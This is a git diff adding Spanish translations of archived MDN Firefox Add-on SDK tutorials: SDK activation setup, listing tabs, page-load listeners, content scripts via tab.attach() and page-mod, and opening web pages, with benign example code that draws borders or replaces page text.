+<h3 id="Establecer_activate_permanentemente">Establecer <code>activate</code> permanentemente</h3>
+
+<p>La orden <code>activate</code> establece algunas variables de entorno necesarias para el SDK. Establece las variables solo para la terminal actual. Si abres una terminal nueva, el SDK no estará activo hasta que ejecutes nuevamente <code>activate</code>.</p>
+
+<p>Esto significa que puedes tener multiples copias del SDK en diferentes partes del disco y cambiar entre ellas, o incluso tenerlas activas al mismo tiempo en diferentes terminales.</p>
+
+<p>Estableciendo estas variables de forma permanente en tu entorno para que cada nueva terminal pueda leerlas, podrás hacer que la activación sea permanente. Por lo tanto no tendrás que ejecutar <code>activate</code> cada vez que habrás una nueva terminal.</p>
+
+<p>Debido a que el conjunto exacto de variables pueden cambiar en nuevas versiones del SDK, lo mejor es consultar la secuencia de órdenes de activación para determinar cuales variables deben ser establecidas. La activación usa diferentes secuencias de órdenes de activación para entornos bash (Linux and OS X) y ambientes Windows .</p>
+
+<h4 id="Windows">Windows</h4>
+
+<p>En Windows, <code>bin\activate</code> usa <code>activate.bat</code>, y puedes hacer la activación permanente usando la herramienta <code>setx</code> d<span class="rangySelectionBoundary" id="selectionBoundary_1422498066697_8666912371422392" style="line-height: 0; display: none;"></span>e la terminal o el Panel de Control.</p>
+
+<p><strong>Pasos para el establecimiento permanente:</strong></p>
+
+<p style="margin-left: 40px;">Paso 0. Abre el Panel de Control &gt; Sistema &gt; Avanzado &gt; Variables de Entorno.<br>
+ Paso 1. Agrega el directorio Python y el directorio SDK\bin a la Variable de la Ruta del Sistema.<br>
+ Path=...;C:\PYTHON26\;C:\Users\Omid\Documents\FirefoxAddons\addon-sdk-1.15\bin<br>
+ Paso 2. Agrega una Variable de usuario llamada CUDDLEFISH_ROOT y establece su valor a "C:\Users\Omid\Documents\FirefoxAddons\addon-sdk-1.15"<br>
+ <span class="rangySelectionBoundary" id="selectionBoundary_1422498317458_12282345591345756" style="line-height: 0; display: none;"></span>Paso 3. Agrega una Variable de usuario llamada PYTHONPATH y establece su valor a "C:\Users\Omid\Documents\FirefoxAddons\addon-sdk-1.15\python-lib"<br>
+ Paso 4. Agrega una Variable de usuario llamada VIRTUAL_ENV y establece su valor a "C:\Users\Omid\Documents\FirefoxAddons\addon-sdk-1.15"</p>
+
+<h4 id="Linux_OS_X">Linux / OS X</h4>
+
+<p>En Linux y OS X, <code>source bin/activate</code> usan la secuencia de órdenes bash <code>activate</code>, y puedes hacer la activación permanente usando tu <span class="rangySelectionBoundary" id="selectionBoundary_1422498499239_3642049718896089" style="line-height: 0; display: none;">tu </span> <code>~/.bashrc</code> (en Linux) o <code>~/.bashprofile</code> (en OS X).</p>
+
+<p>Como alternativa a esto, puedes crear un enlace simbólico al programa <code>cfx</code> en tu directorio <code>~/bin</code>:</p>
+
+<pre>ln -s PATH_TO_SDK/bin/cfx ~/bin/cfx
+</pre>
+
+<p>Si usaste Homebrew para instalar SDK, las variables de entorno ya estan establecidas permanentemente.</p>
diff --git a/files/es/mozilla/add-ons/sdk/tutorials/list_open_tabs/index.html b/files/es/mozilla/add-ons/sdk/tutorials/list_open_tabs/index.html
new file mode 100644
index 0000000000..e817b40495
--- /dev/null
+++ b/files/es/mozilla/add-ons/sdk/tutorials/list_open_tabs/index.html
@@ -0,0 +1,66 @@
+---
+title: Obtener la lista de las pestañas abiertas
+slug: Mozilla/Add-ons/SDK/Tutorials/List_Open_Tabs
+tags:
+  - Add-on SDK
+translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/List_Open_Tabs
+---
+<div class="note">
+<p>Para realizar los pasos que se describen a continuación es necesario tener <a href="/en-US/Add-ons/SDK/Tutorials/Installation">instalado el SDK </a>y conocimientos <a href="/en-US/Add-ons/SDK/Tutorials/Getting_Started_With_cfx">básico de <code>cfx</code></a>.</p>
+
+<p>Este ejemplo usa la API <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action">action button</a>, la cual esta solo disponible para Firefox 29 en adelante.</p>
+</div>
+
+<p>Para listar las pestañas abiertas, se puede iterar sobre el mismo objeto<code> </code><a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs"><code>tabs</code></a>.</p>
+
+<p>El siguiente add-on agrega un <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action">action button</a> que registra las URLs de las pestañas abiertas cuando el/la usuario/a hacen click en el:</p>
+
+<pre class="brush: js">require("sdk/ui/button/action").ActionButton({
+  id: "list-tabs",
+  label: "List Tabs",
+  icon: "./icon-16.png",
+  onClick: listTabs
+});
+
+function listTabs() {
+  var tabs = require("sdk/tabs");
+  for (let tab of tabs)
+    console.log(tab.url);
+}
+</pre>
+
+<p>Observe que para hacer que esto funcione debe guardar un icono para el botón al directorio "data" del add-on con el nombre de "icon-16.png": puede descargarlo de aqui: <img alt="" src="https://mdn.mozillademos.org/files/7649/icon-16.png" style="height: 16px; width: 16px;">.</p>
+
+<p>Ejecute el add-on, cargue algunas pestañas y hace click en el botón. Verá en la <a href="/en-US/Add-ons/SDK/Tutorials/Logging">terminal</a> una salida similar a esta:</p>
+
+<pre>info: http://www.mozilla.org/en-US/about/
+info: http://www.bbc.co.uk/
+</pre>
+
+<p>No tiene acceso directo a ningún contenido de la pestaña. Para acceder al contenido de la pestaña necesita adjuntar un script usando <code>tab.attach()</code>. Este add-on adjunta un script a todas las pestañas abiertas. El script agrega un borde rojo al documento de la pestaña:</p>
+
+<pre class="brush: js">require("sdk/ui/button/action").ActionButton({
+  id: "list-tabs",
+  label: "List Tabs",
+  icon: "./icon-16.png",
+  onClick: listTabs
+});
+
+function listTabs() {
+  var tabs = require("sdk/tabs");
+  for (let tab of tabs)
+    runScript(tab);
+}
+
+function runScript(tab) {
+  tab.attach({
+    contentScript: "document.body.style.border = '5px solid red';"
+  });
+}
+</pre>
+
+<h2 id="Conozca_más">Conozca más</h2>
+
+<p>Para conocer más sobre las pestañas en el SDK, puede dirigirse a la <a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs">referencia de </a><a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs"><code>tabs</code> en la API</a>.</p>
+
+<p>Para conocer mas sobre la ejecución de scripts en las pestañas, puede diregirse a<a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs#attach(options)"> </a><a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs#attach(options)">usando <code>tab.attach()</code></a><a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs#attach(options)"> en el tutorial</a>.</p>
diff --git a/files/es/mozilla/add-ons/sdk/tutorials/listen_for_page_load/index.html b/files/es/mozilla/add-ons/sdk/tutorials/listen_for_page_load/index.html
new file mode 100644
index 0000000000..99642fade4
--- /dev/null
+++ b/files/es/mozilla/add-ons/sdk/tutorials/listen_for_page_load/index.html
@@ -0,0 +1,38 @@
+---
+title: Atender las cargas de página
+slug: Mozilla/Add-ons/SDK/Tutorials/Listen_for_Page_Load
+tags:
+  - Add-on SDK
+translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Listen_for_Page_Load
+---
+<div class="note">Para realizar los pasos que se describen a continuación es necesario tener <a href="/en-US/Add-ons/SDK/Tutorials/Installation">instalado el SDK </a>y conocimientos <a href="/en-US/Add-ons/SDK/Tutorials/Getting_Started_With_cfx">básico de <code>cfx</code></a>.</div>
+
+<p>Se pueden obtener notificaciones sobre la carga de nuevas paǵinas a través del módulo <a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs"><code>tabs</code></a>. El siguiente add-on escucha el evento integrado de la pestaña <code>ready</code>  y simplemente registra el URL de cada pestaña en la medida que el/la usuario/a realiza la carga:</p>
+
+<pre class="brush: js">require("sdk/tabs").on("ready", logURL);
+
+function logURL(tab) {
+  console.log(tab.url);
+}
+</pre>
+
+<p>No se obtiene acceso directo a ningún contenido de la pestaña.</p>
+
+<p>Para acceder al contenido de la pestaña se necesita adjuntar un script a la pestaña usando <code>tab.attach()</code>. Este add-on adjunto un script para abrir todas las pestañas. El script agrega un borde rojo al documento de la pestaña:</p>
+
+<pre class="brush: js">require("sdk/tabs").on("ready", runScript);
+
+function runScript(tab) {
+  tab.attach({
+    contentScript: "if (document.body) document.body.style.border = '5px solid red';"
+  });
+}
+</pre>
+
+<p>(Este ejemplo es solo para mostrar la idea: para implementar algo como esto, se debería usar <a href="/en-US/Add-ons/SDK/High-Level_APIs/page-mod"><code>page-mod</code></a>, y especificar un "*" como el patron de coincidencia.)</p>
+
+<h2 id="Conozca_más">Conozca más</h2>
+
+<p>Para conocer más sobre las pestañas en el SDK, puede dirigirse a la <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/tabs">referencia de </a><a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/tabs"><code>tabs</code> en la API</a>. Puede escuchar varios eventos relacionados con las pestañas incluyendo <code>open</code>, <code>close</code>, y <code>activate</code>.</p>
+
+<p>Para conocer mas sobre la ejecución de scripts en las pestañas, puede diregirse a<a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/tabs#attach%28options%29"> </a><a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/tabs#attach%28options%29">usando <code>tab.attach()</code></a><a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/tabs#attach%28options%29"> en el tutorial</a>.</p>
diff --git a/files/es/mozilla/add-ons/sdk/tutorials/modifying_the_page_hosted_by_a_tab/index.html b/files/es/mozilla/add-ons/sdk/tutorials/modifying_the_page_hosted_by_a_tab/index.html
new file mode 100644
index 0000000000..08a0a80224
--- /dev/null
+++ b/files/es/mozilla/add-ons/sdk/tutorials/modifying_the_page_hosted_by_a_tab/index.html
@@ -0,0 +1,135 @@
+---
+title: Modificar la página web activa
+slug: Mozilla/Add-ons/SDK/Tutorials/Modifying_the_Page_Hosted_by_a_Tab
+translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Modifying_the_Page_Hosted_by_a_Tab
+---
+<div class="note">
+<p>Para seguir esta guía. necesita <a href="/en-US/Add-ons/SDK/Tutorials/Installation">instalar el add-on SDK</a> y saber lo <a href="/en-US/Add-ons/SDK/Tutorials/Getting_Started_(jpm)">basico sobre <code>jpm</code></a> (para Firefox 38 en adelante) o lo  <a href="/en-US/Add-ons/SDK/Tutorials/Getting_Started_With_cfx">basicp sobre <code>cfx</code></a> .</p>
+
+<p>Esta guía usa la API <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action">action button</a>, la cual esta disponible para Firefox 29 en adelante.</p>
+</div>
+
+<p>Para modificar la página web activa, se carga uno o mas <em>scripts de contenido</em> dentro de ella usando el método <code>attach()</code> del objeto <a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs">tab</a>. El trabajo de estos scripts es interactuar con el contenido de la web.</p>
+
+<p>Aquí se muestra un ejemplo simple:</p>
+
+<pre class="brush: js">var button = require("sdk/ui/button/action").ActionButton({
+  id: "style-tab",
+  label: "Style Tab",
+  icon: "./icon-16.png",
+  onClick: function() {
+    require("sdk/tabs").activeTab.attach({
+      contentScript: 'document.body.style.border = "5px solid red";'
+    });
+  }
+});</pre>
+
+<p>Para ejecutar este ejemplo, se guarda el icono llamado "icon-16.png" en el directorio "data" del add-on. Puede descargar este icono:  <img alt="" src="https://mdn.mozillademos.org/files/7661/icon-16.png" style="height: 16px; width: 16px;">.</p>
+
+<p>Este add-on crea un botón con el icono de Mozilla. Este tienen un controlador de eventos del ratón el cual busca la pestaña activa y carga un script dentro de la página activa. El script es especificado usando la opción <code>contentScript</code>, y simplemente dibuja un borde rojo alrededor de la página.</p>
+
+<p>Abra cualquier página web en el navegador, y haga clic en el botón. Deberá poder ver un borde rojo que aparecerá alrededor de la página, como este:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6531/tabattach-bbc.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Mantener_los_Scripts_de_Contenido_en_un_archivo_diferente">Mantener los Scripts de Contenido en un archivo diferente</h2>
+
+<p>En el ejemplo anterior, hemos pasado el contenido del script como una cadena.</p>
+
+<p>A menos que el script sea extremadamente simple, manten el script como un archivo separado en el directorio <code>data</code> del add-on. Esto hace que el código sea más fácil de mantener, depurar, y revisar. Para hacer esto, utiliza la opción <code>contentScriptFile</code> y no <code>contentScript</code>, cuyos valores es una URL que apunta a uno o varios archivos con el contenido de los scripts.</p>
+
+<p>Por ejemplo,  si guardamos el script anterior bajo el directorio <code>data</code>  del add-on en un archivo llamado <code>my-script.js</code>:</p>
+
+<pre class="brush: js">var self = require("sdk/self");
+
+var button = require("sdk/ui/button/action").ActionButton({
+  id: "style-tab",
+  label: "Style Tab",
+  icon: "./icon-16.png",
+  onClick: function() {
+    require("sdk/tabs").activeTab.attach({
+      contentScriptFile: self.data.url("my-script.js")
+    });
+  }
+});
+</pre>
+
+<p>Puedes cargar mas de un script, y los scripts pueden interactuar directamente entre ellos. Por lo tanto puede cargar <a href="http://jquery.com/">jQuery</a>, y luego tu script de contenido puede usarlo.</p>
+
+<h2 id="Cargar_varios_archivo_de_script_de_contenido">Cargar varios archivo de script de contenido</h2>
+
+<p>Los datos asignados a <code>contentScriptFile</code> pueden ser un vector. Los scripts serán cargados en el mismo orden del vector.</p>
+
+<p>En el siguiente ejemplo, estamos cargando dos scripts, <code>first.js</code> &amp; <code>second.js</code>. Ambos scripts serán ejecutados en el mismo contexto, por lo tanto todo lo definido como publico en <code>first.js</code> será accedible desde <code>second.js</code>.</p>
+
+<pre class="brush: js">// lib/main.js
+
+var self = require("sdk/self");
+var tabs = require("sdk/tabs");
+
+require("sdk/ui/button/action").ActionButton({
+  id: "load-several",
+  label: "load several scripts",
+  icon: "./icon-16.png",
+  onClick: function () {
+    tabs.activeTab.attach({
+      contentScriptFile: [self.data.url('first.js'),
+                          self.data.url('second.js')]
+    });
+  }
+});
+</pre>
+
+<h2 id="Comunicación_con_los_Scripts_de_Contenido">Comunicación con los Scripts de Contenido</h2>
+
+<p>Tu script del add-on tus scripts de contenido no pueden acceder directamente a las variables del otro o llamar a las funciones del otro, pero pueden enviarse mensajes entre ellos.</p>
+
+<p>Para enciar un mensaje de un lado a otro, el remitente llama a <code>port.emit()</code> y el receptor escucha usando <code>port.on()</code>.</p>
+
+<ul>
+ <li>En el script de contenido, <code>port</code> es una propiedad del objeto global <code>self</code>.</li>
+ <li>En el script del add-on, <code>tab.attach()</code> revuelve un objeto <a href="/en-US/Add-ons/SDK/Low-Level_APIs/content_worker">worker</a> que contiene la propiedad <code>port</code> que usaste para enviar los mensajes al script de contenido.</li>
+</ul>
+
+<p>Re escribamos el ejemplo anterior para pasar un mensaje desde el add-on al script de contenido.</p>
+
+<p>El script de contenido debe verse así_</p>
+
+<pre class="brush: js">// "self" is a global object in content scripts
+// Listen for a "drawBorder"
+self.port.on("drawBorder", function(color) {
+  document.body.style.border = "5px solid " + color;
+});
+</pre>
+
+<p>En el script del add-on, enviaremos un mensaje "drawBorder" al script de contenido usando el objeto devuelto desde <code>attach()</code>:</p>
+
+<pre class="brush: js">var self = require("sdk/self");
+var tabs = require("sdk/tabs");
+
+var button = require("sdk/ui/button/action").ActionButton({
+  id: "style-tab",
+  label: "Style Tab",
+  icon: "./icon-16.png",
+  onClick: function() {
+    var worker = tabs.activeTab.attach({
+      contentScriptFile: self.data.url("my-script.js")
+    });
+    worker.port.emit("drawBorder", "red");
+  }
+});
+</pre>
+
+<p>El mensaje <code>drawBorder</code> no es un mensaje construido, es un mensaje que el add-on define en la llamada <code>port.emit()</code>.</p>
+
+<h2 id="Inyectando_CSS">Inyectando CSS</h2>
+
+<p>Al contrario de la API <a href="/en-US/Add-ons/SDK/High-Level_APIs/page-mod"><code>page-mod</code></a>, <code>tab.attach()</code> no te permite inyectar CSS directamente dentro de la página.</p>
+
+<p>Para modificar el estilo de la página, tienes que usar Javascript, como en el ejemplo anteriot.</p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<p>Para aprender más sobre el trabajo con pestañas en el SDK, puede ver la guía <a href="/en-US/Add-ons/SDK/Tutorials/Open_a_Web_Page">Open a Web Page</a>, la guía <a href="/en-US/Add-ons/SDK/Tutorials/List_Open_Tabs">List Open Tabs</a>, y la <a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs"><code>tabs</code> API reference</a>.</p>
+
+<p>Para aprender mpas sobre los scripts de contenido, puede ver <a href="/en-US/Add-ons/SDK/Guides/Content_Scripts">content scripts guide</a>.</p>
diff --git a/files/es/mozilla/add-ons/sdk/tutorials/modifying_web_pages_based_on_url/index.html b/files/es/mozilla/add-ons/sdk/tutorials/modifying_web_pages_based_on_url/index.html
new file mode 100644
index 0000000000..e20146d84d
--- /dev/null
+++ b/files/es/mozilla/add-ons/sdk/tutorials/modifying_web_pages_based_on_url/index.html
@@ -0,0 +1,227 @@
+---
+title: Modificar páginas web basándose en el URL
+slug: Mozilla/Add-ons/SDK/Tutorials/Modifying_Web_Pages_Based_on_URL
+tags:
+  - Add-on SDK
+translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Modifying_Web_Pages_Based_on_URL
+---
+<div class="note">Para realizar los pasos que se describen a continuación es necesario tener <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Installation">instalado el SDK </a>y conocimientos <a href="/en-US/Add-ons/SDK/Tutorials/Getting_Started_(jpm)">básicos de <code>jpm</code></a> (Firefox 38 en adelante) o <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Getting_Started_With_cfx"><code>cfx</code></a>.</div>
+
+<p>Para modificar cualquier página que coincida con un patrón en particular (por ejemplo, "http://example.org/") mientras es cargada, se usa el módulo <a href="/en-US/Add-ons/SDK/High-Level_APIs/page-mod"><code>page-mod</code></a>.</p>
+
+<p>Para crear un page-mod, es necesario especificar dos cosas:</p>
+
+<ul>
+ <li>Uno o más <em>scripts de contenido</em> para ser ejecutados cuyo trabajo es interactuar con el contenido web.</li>
+ <li>Uno o más <em>patrones</em> para hacer coincidir con las URLs de las páginas que se desea modificar.</li>
+</ul>
+
+<p>El siguiente es un fragmento de código donde el script de contenido es provisto como una opción de <code>contentScript</code> y el patrón de URL es dado como una opción de  <code>include</code>:</p>
+
+<pre class="brush: js">// Import the page-mod API
+var pageMod = require("sdk/page-mod");
+
+// Create a page-mod
+// It will run a script whenever a ".org" URL is loaded
+// The script replaces the page contents with a message
+pageMod.PageMod({
+  include: "*.org",
+  contentScript: 'document.body.innerHTML = ' +
+                 ' "&lt;h1&gt;Page matches ruleset&lt;/h1&gt;";'
+});
+</pre>
+
+<p>Haga lo siguiente:</p>
+
+<ul>
+ <li>Cree un nuevo directorio e ingrese en el.</li>
+ <li>Ejecute <code>jpm init </code>o <code>cfx init</code></li>
+ <li>Abra el archivo<code> index.js</code> y agregue el código anterior (si usa  <code>cfx, lib/main.js</code>)</li>
+ <li>Ejecute <code>jpm run </code>o<code> cfx run</code>.</li>
+ <li>Abra en el navegador la página <a href="http://www.ietf.org">ietf.org.</a></li>
+</ul>
+
+<p>Abajo se muestra lo que debe poder ver.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6537/pagemod-ietf.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Especificar_el_Patrón_de_Coincidencia">Especificar el Patrón de Coincidencia</h2>
+
+<p>El patrón de coincidencia usa la sintaxis <a href="/en-US/Add-ons/SDK/Low-Level_APIs/util_match-pattern"><code>match-pattern</code></a>. Se puede definir un patrón de coincidencia como una única cadena o una matriz.</p>
+
+<h2 id="Mantener_el_Script_de_Contenido_en_un_Archivo_Separado">Mantener el Script de Contenido en un Archivo Separado</h2>
+
+<p>En el ejemplo anterior, se definió el script de contenido como una cadena de caracteres.</p>
+
+<p>A menos que el script sea muy simple, se debe mantener el script en un archivo separado. Esto hace al código más fácil de mantener, depurar, y revisar. Para hacer esto es necesario:</p>
+
+<ul>
+ <li>Guardar el script en el directorio <code>data</code> del add-on.</li>
+ <li>Usar la opción <code>contentScriptFile</code> en vez de <code>contentScript</code> y pasar ls URL del script la cual puede ser obtenida usando <code>self.data.url("my-script.js")</code>. Para Firefox 34 en adelante, se puede usar <code>"./my-script.js"</code>.</li>
+</ul>
+
+<p>Por ejemplo, si se guarda el script anterior en un archivo llamado <code>my-script.js </code>bajo el directorio <code>data</code> del add-on:</p>
+
+<pre class="brush: js">// Import the page-mod API
+var pageMod = require("sdk/page-mod");
+// Import the self API
+var self = require("sdk/self");
+
+// Create a page-mod
+// It will run a script whenever a ".org" URL is loaded
+// The script replaces the page contents with a message
+pageMod.PageMod({
+  include: "*.org",
+  contentScriptFile: self.data.url("my-script.js")
+});</pre>
+
+<p>O para Firefox 34 en adelante:</p>
+
+<pre class="brush: js">// Import the page-mod API
+var pageMod = require("sdk/page-mod");
+
+// Create a page-mod
+// It will run a script whenever a ".org" URL is loaded
+// The script replaces the page contents with a message
+pageMod.PageMod({
+  include: "*.org",
+  contentScriptFile: "./my-script.js"
+});</pre>
+
+<h2 id="Cargar_Múltiples_Scripts_de_Contenido">Cargar Múltiples Scripts de Contenido</h2>
+
+<p>Es posible cargar mas de un script, y los scripts pueden interactuar directamente.</p>
+
+<p>Por ejemplo, se puede reescribir <code>my-script.js</code> para usar jQuery.</p>
+
+<pre class="brush: js">$("body").html("&lt;h1&gt;Page matches ruleset&lt;/h1&gt;");
+</pre>
+
+<p>Luego se descarga jQuery al directorio <code>data</code> del add-on, y se carga conjuntamente el script y el jQuery (asegurándose de cargar primero el jQuery).</p>
+
+<pre class="brush: js">// Import the page-mod API
+var pageMod = require("sdk/page-mod");
+// Import the self API
+var self = require("sdk/self");
+
+// Create a page mod
+// It will run a script whenever a ".org" URL is loaded
+// The script replaces the page contents with a message
+pageMod.PageMod({
+  include: "*.org",
+  contentScriptFile: [self.data.url("jquery-1.7.min.js"), self.data.url("my-script.js")]
+});
+</pre>
+
+<p>Se puede usar <code>contentScript</code> y <code>contentScriptFile</code> juntos en el mismo page-mod. Si se hace esto, los script cargados usando <code>contentScriptFile</code> son cargados primero.</p>
+
+<pre class="brush: js">// Import the page-mod API
+var pageMod = require("sdk/page-mod");
+// Import the self API
+var self = require("sdk/self");
+
+// Create a page-mod
+// It will run a script whenever a ".org" URL is loaded
+// The script replaces the page contents with a message
+pageMod.PageMod({
+  include: "*.org",
+  contentScriptFile: self.data.url("jquery-1.7.min.js"),
+  contentScript: '$("body").html("&lt;h1&gt;Page matches ruleset&lt;/h1&gt;");'
+});
+</pre>
+
+<p>Note, sin embargo, que no es posible cargar un script desde un sitio web. El script debe ser cargado desde el directorio d<code>ata</code>.</p>
+
+<h2 id="Comunicarse_con_el_Script_de_Contenido">Comunicarse con el Script de Contenido</h2>
+
+<p>El script del add-on y los scripts de contenido no pueden acceder directamente a las variables o llamar a las funciones de los demás, pero pueden enviar mensajes.</p>
+
+<p>Para enviar un mensaje de un lado a otro, el emisor llama a <code>port.emit()</code> y el receptor escucha usando <code>port.on()</code>.</p>
+
+<ul>
+ <li>En el script de contenido, <code>port</code> es una propiedad del objeto global <code>self</code>.</li>
+ <li>En el script del add-on, es necesario escuchar al evento <code>onAttach</code> para conseguir pasar un objeto <a href="/en-US/Add-ons/SDK/Low-Level_APIs/content_worker">de trabajo</a> que contenga a <code>port</code>.</li>
+</ul>
+
+<p>Se reescribe el ejemplo anterior para pasar un mensaje desde el add-on al script de contenido. El mensaje contendrá el nuevo contenido para ser insertado en el documento.</p>
+
+<p>El script de contenido ahora necesita lucir de esta manera:</p>
+
+<pre class="brush: js">// "self" is a global object in content scripts
+// Listen for a message, and replace the document's
+// contents with the message payload.
+self.port.on("replacePage", function(message) {
+  document.body.innerHTML = "&lt;h1&gt;" + message + "&lt;/h1&gt;";
+});
+</pre>
+
+<p>En el script del add-on, se enviará al script de contenido un mensaje desde <code>onAttach</code>.</p>
+
+<pre class="brush: js">// Import the page-mod API
+var pageMod = require("sdk/page-mod");
+// Import the self API
+var self = require("sdk/self");
+
+// Create a page-mod
+// It will run a script whenever a ".org" URL is loaded
+// The script replaces the page contents with a message
+pageMod.PageMod({
+  include: "*.org",
+  contentScriptFile: self.data.url("my-script.js"),
+  // Send the content script a message inside onAttach
+  onAttach: function(worker) {
+    worker.port.emit("replacePage", "Page matches ruleset");
+  }
+});
+</pre>
+
+<p>El mensaje <code>replacePage</code> no es un mensaje ya definido: es un mensaje definido por el add-on en la llamada <code>port.emit()</code>.</p>
+
+<div>
+<h2 id="Inyectar_CSS">Inyectar CSS</h2>
+
+<p><strong>Note que la característica descrita en esta sección es experimental por los momentos. Se continuará dando soporte a esta característica, pero los detalles dela API pueden cambiar.</strong></p>
+
+<p>En vez de inyectar JavaScript en una página, es posible inyectar CSS configurando la opción <code>contentStyle</code> del page-mod.</p>
+
+<pre class="brush: js">var pageMod = require("sdk/page-mod").PageMod({
+  include: "*",
+  contentStyle: "body {" +
+                "  border: 5px solid green;" +
+                "}"
+});
+</pre>
+
+<p>Como con el <code>contentScript</code>, hay una opción correspondiente a<code> contentStyleFile</code> que toma una URL de un archivo CSS en el directorio "data" ; es una buena practica usar esta opción en vez de <code>contentStyle</code> si el CSS un poco complejo.</p>
+
+<pre class="brush: js">var pageMod = require("sdk/page-mod").PageMod({
+  include: "*",
+  contentStyleFile: require("sdk/self").data.url("my-style.css")
+});
+</pre>
+
+<p>O, para Firefox 34, se puede usar una versión más simple:</p>
+
+<pre class="brush: js">var pageMod = require("sdk/page-mod").PageMod({
+  include: "*",
+  contentStyleFile: "./my-style.css"
+});</pre>
+</div>
+
+<h2 id="Conociendo_más">Conociendo más</h2>
+
+<p>Para conocer más sobre <code>page-mod</code>, puede dirigirse a la <a href="/en-US/Add-ons/SDK/High-Level_APIs/page-mod">página de referencia de la API</a>. En particular, el constructor de <code>PageMod</code> toma algunas opciones adicionales para tomar el control de este comportamiento:</p>
+
+<ul>
+ <li>
+  <p>De forma predeterminada, los scripts de contenido no están fijados a ninguna pestaña que este ya abierta cuando el page-mod es creado, y son fijados a iframes como a documentos de alto nivel. Para controlar este comportamiento se usa la opción <code>attachTo</code>.</p>
+ </li>
+ <li>
+  <p>Define valores de solo lectura accesibles a los scripts de contenido usando la opción <code>contentScriptOptions</code>.</p>
+ </li>
+ <li>
+  <p>De forma predeterminada, los scripts de contenido son adjuntados después que todo el contenido (DOM, JS, CSS, imagenes) de la página ha sido cargado, al mismo tiempo se activa el  <a href="/en-US/docs/Web/API/GlobalEventHandlers.onload">evento window.onload</a>. Para controlar este comportamiento, se usa la opción <code>contentScriptWhen</code>.</p>
+ </li>
+</ul>
+
+<p>Para conocer más sobre los scripts de contenido en general, puede dirigirse a la  <a href="/en-US/Add-ons/SDK/Guides/Content_Scripts">guía de scripts de contenido.</a></p>
diff --git a/files/es/mozilla/add-ons/sdk/tutorials/open_a_web_page/index.html b/files/es/mozilla/add-ons/sdk/tutorials/open_a_web_page/index.html
new file mode 100644
index 0000000000..1140029e16
--- /dev/null
+++ b/files/es/mozilla/add-ons/sdk/tutorials/open_a_web_page/index.html
@@ -0,0 +1,48 @@
+---
+title: Abrir una página web
+slug: Mozilla/Add-ons/SDK/Tutorials/Open_a_Web_Page
+tags:
+  - Add-on SDK
+translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Open_a_Web_Page
+---
+<div class="note">Para realizar los pasos que se describen a continuación es necesario tener <a href="/en-US/Add-ons/SDK/Tutorials/Installation">instalado el SDK </a>y conocimientos <a href="/en-US/Add-ons/SDK/Tutorials/Getting_Started_With_cfx">básico de <code>cfx</code></a>.</div>
+
+<p>Para abrir una nueva página web, se usa el módulo <a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs"><code>tabs</code></a>:</p>
+
+<pre class="brush: js">var tabs = require("sdk/tabs");
+tabs.open("http://www.example.com");
+</pre>
+
+<p>Esta función es asíncrona, por lo tanto no se tendrá inmediatamanete un <a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs#Tab">objeto</a> <a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs#Tab"><code>tab</code> </a> el cual se pueda examinar. Para hacer esto, se pasa una función de retrollamada en <code>open()</code>. La retrollamada es asignada a pa propiedad <code>onReady</code>, y pasará la pestaña como argumento:</p>
+
+<pre class="brush: js">var tabs = require("sdk/tabs");
+tabs.open({
+  url: "http://www.example.com",
+  onReady: function onReady(tab) {
+    console.log(tab.title);
+  }
+});
+</pre>
+
+<p>Incluso ahora, no se tiene acceso directo a ningún contenido dentro de la pestaña.</p>
+
+<p>Para acceder al contenido de la pstaña se necesita adjuntar un script a la pestaña usando <code>tab.attach()</code>. Este add-on carga una página, luego adjunta un script a la página el cual le agrega un borde rojo:</p>
+
+<pre class="brush: js">var tabs = require("sdk/tabs");
+tabs.open({
+  url: "http://www.example.com",
+  onReady: runScript
+});
+
+function runScript(tab) {
+  tab.attach({
+    contentScript: "document.body.style.border = '5px solid red';"
+  });
+}
+</pre>
+
+<h2 id="Conozca_más">Conozca más</h2>
+
+<p>Para conocer más sobre las pestañas en el SDK, puede dirigirse a la <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/tabs">referencia de </a><a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/tabs"><code>tabs</code> en la API</a>.</p>
+
+<p>Para conocer mas sobre la ejecución de scripts en las pestañas, puede diregirse a<a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/tabs#attach%28options%29"> </a><a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/tabs#attach%28options%29">usando <code>tab.attach()</code></a><a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/tabs#attach%28options%29"> en el tutorial</a>.</p>
